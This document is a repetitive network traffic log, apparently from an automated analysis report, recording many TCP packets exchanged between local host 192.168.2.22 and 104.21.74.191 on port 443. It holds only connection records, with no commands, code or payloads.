Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
